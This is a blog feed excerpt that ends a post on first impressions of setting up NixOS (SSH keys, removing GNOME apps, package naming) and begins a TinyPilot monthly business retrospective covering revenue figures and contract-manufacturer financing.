&lt;p>From NixOS, I opened the Console application and then typed &lt;code>sudo nano /etc/nixos/configuration.nix&lt;/code>. Then, I went to the &lt;code>environment.systemPackages&lt;/code> and added these lines:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span> environment.systemPackages = with pkgs; [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vim
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> curl
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To realize the changes, I ran:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo nixos-rebuild switch
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now, I had &lt;code>vim&lt;/code> and &lt;code>curl&lt;/code>, available, so I could pull down my SSH public key from GitHub:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo mkdir -p /etc/nixos/ssh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">GITHUB_USERNAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;mtlynch&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>curl &lt;span style="color:#ed9d13">&amp;#34;https://github.com/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">GITHUB_USERNAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">.keys&amp;#34;&lt;/span> | &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo tee --append /etc/nixos/ssh/authorized_keys
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next, I ran &lt;code>sudo vim /etc/nixos/configuration.nix&lt;/code> and added these lines:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span> # Enable the OpenSSH daemon.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> services.openssh.enable = true;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> users.users.mike.openssh.authorizedKeys.keyFiles = [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /etc/nixos/ssh/authorized_keys
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Finally, I rebuilt and rebooted. I&amp;rsquo;m not sure if the reboot was strictly necessary:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo nixos-rebuild switch &amp;amp;&amp;amp; sudo reboot
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And it worked! After that, I could ssh into my NixOS system from my main computer.&lt;/p>
&lt;h2 id="task-2-removing-gnome-clutter">Task 2: Removing Gnome clutter&lt;/h2>
&lt;p>The first thing that struck me about the OS was that there was lots of clutter. It had a bunch of built-in apps I didn&amp;rsquo;t want, like a contact list and a weather app:&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1920px">



 &lt;a href="https://mtlynch.io/notes/nix-first-impressions/TinyPilot-2023-06-17T16_23_23.163Z.webp">
 &lt;img
 
 sizes="(min-width: 768px) 1920px, 98vw"
 srcset='https://mtlynch.io/notes/nix-first-impressions/TinyPilot-2023-06-17T16_23_23.163Z_hu_3889b22770a71778.webp 300w, https://mtlynch.io/notes/nix-first-impressions/TinyPilot-2023-06-17T16_23_23.163Z_hu_9b0852331a42a0f4.webp 600w, https://mtlynch.io/notes/nix-first-impressions/TinyPilot-2023-06-17T16_23_23.163Z_hu_73400f1d7c7ad309.webp 800w, https://mtlynch.io/notes/nix-first-impressions/TinyPilot-2023-06-17T16_23_23.163Z_hu_88d9ed1d9700bb6f.webp 1200w, https://mtlynch.io/notes/nix-first-impressions/TinyPilot-2023-06-17T16_23_23.163Z.webp 1920w'
 src="https://mtlynch.io/notes/nix-first-impressions/TinyPilot-2023-06-17T16_23_23.163Z.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I searched for how to get rid of them and discovered that &lt;a href="https://discourse.nixos.org/t/howto-disable-most-gnome-default-applications-and-what-they-are/13505">they&amp;rsquo;re default applications as part of the Gnome shell&lt;/a>. You can disable them by adding this line to your &lt;code>/etc/nixos/configuration.nix&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>services.gnome.core-utilities.enable = false;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Or you can remove each utility one-by-one:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span> environment.gnome.excludePackages = with pkgs.gnome; [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> baobab &lt;span style="color:#999;font-style:italic"># disk usage analyzer&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cheese &lt;span style="color:#999;font-style:italic"># photo booth&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> eog &lt;span style="color:#999;font-style:italic"># image viewer&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> epiphany &lt;span style="color:#999;font-style:italic"># web browser&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gedit &lt;span style="color:#999;font-style:italic"># text editor&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> simple-scan &lt;span style="color:#999;font-style:italic"># document scanner&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> totem &lt;span style="color:#999;font-style:italic"># video player&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> yelp &lt;span style="color:#999;font-style:italic"># help viewer&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> evince &lt;span style="color:#999;font-style:italic"># document viewer&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> file-roller &lt;span style="color:#999;font-style:italic"># archive manager&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> geary &lt;span style="color:#999;font-style:italic"># email client&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> seahorse &lt;span style="color:#999;font-style:italic"># password manager&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gnome-calculator
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gnome-calendar
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gnome-characters
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gnome-clocks
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gnome-contacts
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gnome-font-viewer
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gnome-logs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gnome-maps
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gnome-music
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gnome-screenshot
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gnome-system-monitor
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gnome-weather
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gnome-disk-utility
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pkgs.gnome-connections
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I went with the &amp;ldquo;disable everything&amp;rdquo; option and rebuilt:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo nixos-rebuild switch
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And voila! All of the clutter disappeared:&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1920px">



 &lt;a href="https://mtlynch.io/notes/nix-first-impressions/TinyPilot-2023-06-17T16%2027%2037.615Z.webp">
 &lt;img
 
 sizes="(min-width: 768px) 1920px, 98vw"
 srcset='https://mtlynch.io/notes/nix-first-impressions/TinyPilot-2023-06-17T16%2027%2037.615Z_hu_f06039cd6a2e28f0.webp 300w, https://mtlynch.io/notes/nix-first-impressions/TinyPilot-2023-06-17T16%2027%2037.615Z_hu_96c7967ea805f313.webp 600w, https://mtlynch.io/notes/nix-first-impressions/TinyPilot-2023-06-17T16%2027%2037.615Z_hu_36689bd0e359384.webp 800w, https://mtlynch.io/notes/nix-first-impressions/TinyPilot-2023-06-17T16%2027%2037.615Z_hu_311dd4502e2ef93e.webp 1200w, https://mtlynch.io/notes/nix-first-impressions/TinyPilot-2023-06-17T16%2027%2037.615Z.webp 1920w'
 src="https://mtlynch.io/notes/nix-first-impressions/TinyPilot-2023-06-17T16%2027%2037.615Z.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="task-3-bringing-back-the-system-monitor-failed">Task 3: Bringing back the System Monitor (failed)&lt;/h2>
&lt;p>The one Gnome tool I did think was worth keeping was System Monitor. I tried adding it to my list of &lt;code>environment.systemPackages&lt;/code>, but then rebuilding failed:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ sudo nixos-rebuild switch
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>building Nix...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>building the system configuration...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>error: undefined variable &lt;span style="color:#ed9d13">&amp;#39;gnome-system-monitor&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> at /etc/nixos/configuration.nix:130:5:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 129| curl
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 130| gnome-system-monitor
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | ^
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 131| ];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>(use &lt;span style="color:#ed9d13">&amp;#39;--show-trace&amp;#39;&lt;/span> to show detailed location information)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I tried other possible names like &lt;code>gnome-shell-system-monitor&lt;/code>, but I couldn&amp;rsquo;t figure out how to install it.&lt;/p>
&lt;p>&lt;strong>Edit (2023-06-19)&lt;/strong>: Thanks to readers who pointed out that the correct package name is &lt;code>gnome.gnome-system-monitor&lt;/code>. The piece I was missing was that I can search for packages at &lt;a href="https://search.nixos.org/packages?channel=23.05&amp;amp;from=0&amp;amp;size=50&amp;amp;sort=relevance&amp;amp;type=packages&amp;amp;query=gnome+system+monitor">search.nixos.org&lt;/a>.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1920px">



 &lt;a href="https://mtlynch.io/notes/nix-first-impressions/TinyPilot-2023-06-20T01%2040%2054.869Z.webp">
 &lt;img
 
 sizes="(min-width: 768px) 1920px, 98vw"
 srcset='https://mtlynch.io/notes/nix-first-impressions/TinyPilot-2023-06-20T01%2040%2054.869Z_hu_338fcb5487087bb2.webp 300w, https://mtlynch.io/notes/nix-first-impressions/TinyPilot-2023-06-20T01%2040%2054.869Z_hu_e47769010d6c5902.webp 600w, https://mtlynch.io/notes/nix-first-impressions/TinyPilot-2023-06-20T01%2040%2054.869Z_hu_658a48278c4a6181.webp 800w, https://mtlynch.io/notes/nix-first-impressions/TinyPilot-2023-06-20T01%2040%2054.869Z_hu_95e71d801a74b891.webp 1200w, https://mtlynch.io/notes/nix-first-impressions/TinyPilot-2023-06-20T01%2040%2054.869Z.webp 1920w'
 src="https://mtlynch.io/notes/nix-first-impressions/TinyPilot-2023-06-20T01%2040%2054.869Z.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="things-id-like-to-understand-next">Things I&amp;rsquo;d like to understand next&lt;/h2>
&lt;p>I&amp;rsquo;m happy with my first few days with Nix and NixOS. It&amp;rsquo;s about what I expected from what I&amp;rsquo;ve heard. It seems like it can be incredibly powerful when used well, but it requires a lot of upfront investment and scavenging for information.&lt;/p>
&lt;p>I&amp;rsquo;ve only scratched the surface, so here are the things I&amp;rsquo;d like to learn about Nix next.&lt;/p>
&lt;h3 id="using-vs-code-remote-ssh-on-nixos-systems">Using VS Code Remote SSH on NixOS systems&lt;/h3>
&lt;p>I do all of my development in VS Code over remote SSH. When I try remoting into my NixOS system from VS Code, the install fails. VS Code has to install some type of server on the target system, and VS Code probably doesn&amp;rsquo;t know how to install on NixOS.&lt;/p>
&lt;p>There&amp;rsquo;s a &lt;a href="https://github.com/nix-community/nixos-vscode-server">nixos-vscode-server&lt;/a> git repo, and that&amp;rsquo;s probably the solution I need. I haven&amp;rsquo;t tried it yet.&lt;/p>
&lt;h3 id="how-nixs-major-concepts-fit-together">How Nix&amp;rsquo;s major concepts fit together&lt;/h3>
&lt;p>I see words like &amp;ldquo;flakes&amp;rdquo; and &amp;ldquo;derivations,&amp;rdquo; and I currently don&amp;rsquo;t know what they mean. I don&amp;rsquo;t understand Nix&amp;rsquo;s language syntax, but it&amp;rsquo;s enough like JavaScript and Python that I can fake my way through at this point. But to use Nix effectively, I&amp;rsquo;m obviously going to need to learn the language.&lt;/p>
&lt;h3 id="when-does-the-determinism-happen">When does the determinism happen?&lt;/h3>
&lt;p>When I see discussion of Nix, one of the top features I see mentioned is the fact that Nix is deterministic.&lt;/p>
&lt;p>So far, I don&amp;rsquo;t get how it&amp;rsquo;s deterministic. When I specified packages to install, I didn&amp;rsquo;t specify an integrity hash, let alone a version number. If I ran the same Nix configuration a year from now, I assume I&amp;rsquo;d get a different system because it would install different versions of the &lt;code>vim&lt;/code> and &lt;code>curl&lt;/code> packages I specified.&lt;/p>
&lt;p>I assume there is a way of specifying package versions more precisely, but I haven&amp;rsquo;t learned it yet.&lt;/p>
&lt;h3 id="who-am-i-trusting">Who am I trusting?&lt;/h3>
&lt;p>When I specified packages, it was a plain list of package names:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span> environment.systemPackages = with pkgs; [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vim
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> curl
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>For me to be able to specify packages like the above, Nix must be pulling packages from a default repository. Are there multiple repositories? How do I pick which repository to use?&lt;/p></content:encoded></item><item><title>TinyPilot: Month 35</title><link>https://mtlynch.io/retrospectives/2023/06/</link><pubDate>Tue, 13 Jun 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2023/06/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs seven other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I frantically tried to come up with $250k for a large expense.&lt;/li>
&lt;li>I evaluate how a contract manufacturer will change my finances.&lt;/li>
&lt;li>Outsourcing to a 3PL vendor is less expensive than I expected.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs seven other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I frantically tried to come up with $250k for a large expense.&lt;/li>
&lt;li>I evaluate how a contract manufacturer will change my finances.&lt;/li>
&lt;li>Outsourcing to a 3PL vendor is less expensive than I expected.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="onboard-the-newest-tinypilot-employee">Onboard the newest TinyPilot employee&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Newest employee is fully spun up.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>TinyPilot&amp;rsquo;s newest employee is fully trained and can build Voyager 2a devices. The additional capacity is helping us get back to feeling ahead on inventory instead of scrambling to keep up with orders.&lt;/p>
&lt;p>One thing I didn&amp;rsquo;t consider was that office space becomes a bottleneck with three people. With two people working 20 hours per week, they can share a single office easily without overlapping. With three people, space isn&amp;rsquo;t exactly a problem, but we have to plan more to avoid shifts colliding.&lt;/p>
&lt;h3 id="reach-90k-in-revenue">Reach $90k in revenue&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Reached $92k in revenue.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A+&lt;/li>
&lt;/ul>
&lt;p>Now that we&amp;rsquo;re no longer constrained by manufacturing capacity. I&amp;rsquo;ve increased ad spending and &lt;a href="https://mtlynch.io/retrospectives/2023/01/#adapting-to-the-shortage">fixed our Amazon listing&lt;/a>.&lt;/p>
&lt;p>The problem with Amazon is that the only way to get them to show a &amp;ldquo;Buy&amp;rdquo; button on TinyPilot listings again was to lower our Amazon price to match our website price. Now, customers are much more incentivized to choose Amazon over purchasing from us, so we&amp;rsquo;re seeing a greater share of Amazon purchases and losing a higher fee to Amazon.&lt;/p>
&lt;h3 id="find-three-homelab-bloggers-or-youtubers-interested-in-reviewing-tinypilot-voyager-2a">Find three homelab bloggers or YouTubers interested in reviewing TinyPilot Voyager 2a&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Found 2.5 people interested in reviewing TinyPilot.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B+&lt;/li>
&lt;/ul>
&lt;p>I reached out to three YouTubers. Two of them are interested and plan to feature TinyPilot in a video. The third doesn&amp;rsquo;t do reviews but is open to giving TinyPilot a cameo if they can find a use for it.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>April 2023&lt;/th>
 &lt;th>May 2023&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>6,560&lt;/td>
 &lt;td>7,773&lt;/td>
 &lt;td>&lt;font color="green">+1,213 (+18%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>15,034&lt;/td>
 &lt;td>17,220&lt;/td>
 &lt;td>&lt;font color="green">+2,186 (+15%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$82,060.84&lt;/td>
 &lt;td>$89,569.49&lt;/td>
 &lt;td>&lt;font color="green">+$7,508.65 (+9%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$2,369.08&lt;/td>
 &lt;td>$2,597.71&lt;/td>
 &lt;td>&lt;font color="green">+$228.63 (+10%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$84,720.62&lt;/td>
 &lt;td>$92,457.90&lt;/td>
 &lt;td>&lt;font color="green">+$7,737.28 (+9%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$10,295.55&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$24,034.74&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$13,739.19 (+133%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>The numbers are all up this month, so that&amp;rsquo;s a good sign. They&amp;rsquo;re still somewhat within the noise of TinyPilot&amp;rsquo;s monthly fluctuations, but the general trend is positive.&lt;/p>
&lt;p>The increase in views and revenue comes largely from increased investment in advertising. I hope to increase this even more in the coming months as I send the Voyager 2a to additional bloggers and YouTube creators.&lt;/p>
&lt;h2 id="how-do-i-come-up-with-250k-in-cash">How do I come up with $250k in cash?&lt;/h2>
&lt;p>My next major task for TinyPilot is to transition our in-house manufacturing process to a contract manufacturing firm.&lt;/p>
&lt;p>At the beginning of May, I reached the price quote stage with a contract manufacturer I&amp;rsquo;d been talking to for several months. They could build the Voyager 2a for about $110 per unit, including everything except the Raspberry Pi. Raspberry Pis cost $45/unit, so it would be about $155/unit total.&lt;/p>
&lt;p>My costs now are around $110/unit in materials and another $5/unit in labor. That means the contract manufacturer would be a $40 (35%) jump in cost, but it still felt worth it. With a contract manufacturer, we wouldn&amp;rsquo;t have to maintain a physical office anymore, we wouldn&amp;rsquo;t need to manage inventory for all of our raw materials, and we could easily scale up production without hiring more people.&lt;/p>
&lt;p>I felt fine with $110/unit until I did the math on the total. The contract manufacturer needed me to commit to a minimum of 2,000 units. $110/unit * 2,000 units is $220k!&lt;/p>
&lt;p>Including the Raspberry Pis for the first batch, I&amp;rsquo;d need to come up with about $250k in cash to pay for this order.&lt;/p>
&lt;p>To be clear, this is money I&amp;rsquo;d be spending anyway. Last year, I spent &lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/#tinypilot-grew-annual-revenue-to-812k">$334k&lt;/a> on raw materials, but I paid for everything in small chunks throughout the year. With the shift to the contract manufacturer, I&amp;rsquo;d be consolidating most of my materials and manufacturing costs, but I&amp;rsquo;d be paying six to eight months of it at once.&lt;/p>
&lt;p>Where was I going to get $250k in cash?&lt;/p>
&lt;p>Shopify, Amazon, and Mercury are always bombarding me with offers for eCommerce loans, so I finally read some of the details. They&amp;rsquo;ll loan you some multiple of your monthly revenue, charge an origination fee of 5-15%, and then take an ongoing 10-20% of your revenue until you pay off the loan.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/06/shopify-loan.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/06/shopify-loan_hu_d00465c978d4cf65.webp 300w, https://mtlynch.io/retrospectives/2023/06/shopify-loan_hu_fc37871681ddd8db.webp 600w, https://mtlynch.io/retrospectives/2023/06/shopify-loan_hu_11d34c0637aaf056.webp 800w, https://mtlynch.io/retrospectives/2023/06/shopify-loan.webp 950w'
 src="https://mtlynch.io/retrospectives/2023/06/shopify-loan.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Shopify offered me a $100k loan for a $13k origination fee.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>If I took a $100k loan from Shopify, it would cost me $13k, and I&amp;rsquo;d pay off the loan in about seven months. But that&amp;rsquo;s longer than I&amp;rsquo;d need the loan. My monthly revenue is about $90k. If all of my materials and manufacturing bills were already paid, I&amp;rsquo;d only have about $25k/month in expenses, leaving $65k/month in cash profits. I&amp;rsquo;d only need the loan for a month or two, so $13k is a bit steep.&lt;/p>
&lt;p>I think I could take out a loan from a bank, but I suspect that&amp;rsquo;s a pretty long, paperwork-intensive process. That probably costs a few thousand dollars as well, and I doubt traditional banks offer two-month loans.&lt;/p>
&lt;p>The situation reminded me of an event from my adolescence. Real estate developers were trying to tear down my beloved community center to build a shopping mall. My breakdancing crew put on such a phenomenal dance show that attendees gave us $200k in donations, exactly the amount we needed to protect the community center.&lt;/p>
&lt;p>I called Al, a friend from my old dance crew, to see if he&amp;rsquo;d participate in another breakdancing performance for TinyPilot. Irritatingly, he pointed out that neither of us know anything about breakdancing and that I seemed to be describing the plot of the 80s movie, &lt;a href="https://www.imdb.com/title/tt0086999/">&lt;em>Breakin&amp;rsquo; 2: Electric Boogaloo&lt;/em>&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/06/breakin2.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/06/breakin2_hu_2f857ada53a6510.jpg 300w, https://mtlynch.io/retrospectives/2023/06/breakin2_hu_2ee1f71a410d9a9d.jpg 600w, https://mtlynch.io/retrospectives/2023/06/breakin2_hu_4f0d079c1fe47cd2.jpg 800w, https://mtlynch.io/retrospectives/2023/06/breakin2_hu_2de50760e924516d.jpg 1200w, https://mtlynch.io/retrospectives/2023/06/breakin2.jpg 1200w'
 src="https://mtlynch.io/retrospectives/2023/06/breakin2.jpg" alt="Movie poster for Breakin&amp;#39; 2: Electric Boogaloo" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Could I raise the money I needed by putting on a breakdancing show?&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>So, that plan was out.&lt;/p>
&lt;p>At the next meeting with the contract manufacturer, I asked the CEO if there were other ways of structuring the deal so that I&amp;rsquo;m not paying $250k up front, adding that it&amp;rsquo;s almost a year of expenses for me. He chuckled and clarified that he wasn&amp;rsquo;t expecting the full $250k at once.&lt;/p>
&lt;p>It turned out that the contract manufacturer was willing to absorb the up-front costs. As long as I signed a purchase order agreeing to purchase the full 2,000 units within a year, the deal worked for him.&lt;/p>
&lt;p>So, I&amp;rsquo;m likely going to start with an order of about 500 Voyager 2a units. That means I&amp;rsquo;d owe the contract manufacturer roughly $55k. I&amp;rsquo;d still owe $34k for the Raspberry Pis, but the total would be around $90k up front, which is much easier to swallow.&lt;/p>
&lt;h2 id="how-does-a-contract-manufacturer-change-finances">How does a contract manufacturer change finances?&lt;/h2>
&lt;p>When I calculated the $250k, I had a bit of a panic about how such bursty costs would mess with TinyPilot&amp;rsquo;s finances. Now that I understand we don&amp;rsquo;t owe the full amount up front, I realize the contract manufacturer will be better for TinyPilot&amp;rsquo;s finances than our current system.&lt;/p>
&lt;h3 id="cash-flow">Cash flow&lt;/h3>
